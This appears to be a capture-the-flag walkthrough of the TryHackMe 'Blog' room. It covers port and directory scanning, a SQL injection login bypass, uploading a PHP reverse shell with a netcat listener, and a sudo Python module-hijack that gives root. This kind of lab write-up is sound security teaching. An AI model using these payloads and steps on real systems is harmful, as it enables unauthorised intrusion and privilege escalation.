TryHackMe - Blog Room Walkthrough

A simple walkthrough of the **"Blog"** room on TryHackMe, where we explore a vulnerable blogging site and escalate to root.

🚀 Step 1: Reconnaissance

🔎 Nmap Scan

We start with an Nmap scan:

```
nmap -sC -sV -oN scan.txt <target-ip>
```

Findings:

- Port 22: OpenSSH
- Port 80: Apache HTTP Server

We visit the IP in the browser and see a **simple blog website**.

🕵️ Step 2: Enumerating the Web App

We run **Gobuster** to find hidden directories:

```
gobuster dir -u http://<target-ip> -w /usr/share/wordlists/dirb/common.txt
```

We find:

- `/admin`
- `/includes`
- `/uploads`

The `/admin` page is interesting. It asks for login credentials.

🔐 Step 3: Bypass Login

We try **SQL Injection** on the login form.

Using:

```
' OR 1=1 --
```

It logs us in successfully!

📂 Step 4: File Upload and Reverse Shell

Inside the admin panel, there's an **upload option**. We upload a **PHP reverse shell**.

Create it using:

```
cp /usr/share/webshells/php/php-reverse-shell.php .
```

Edit the file to include your **IP and port**.

Set up a listener:

```
nc -lvnp 4444
```

Upload the shell and access it via:

```
http://<target-ip>/uploads/shell.php
```

Now we get a **reverse shell**.

👤 Step 5: Privilege Escalation (User)

After stabilizing the shell (using `python -c 'import pty; pty.spawn("/bin/bash")'`), we check `/home` and find a user.

We look for **interesting files** and find a **MySQL config file** with DB credentials.

Use them to log in via `su` and switch to the user.

🧠 Step 6: Privilege Escalation (Root)

We use `sudo -l` to see what the user can run.

It shows:

```
(root) NOPASSWD: /usr/bin/python3 /home/user/backup.py
```

The `backup.py` script imports `shutil`. We can abuse this by creating our **own malicious** `shutil.py` in the same directory.

Our `shutil.py`:

```
import os
os.system("/bin/bash")
```

Run the original `backup.py`:

```
sudo /usr/bin/python3 /home/user/backup.py
```

And we get **root access**!

🏁 Flags

- **User flag**: Found in `/home/<user>/user.txt`
- **Root flag**: Found in `/root/root.txt`
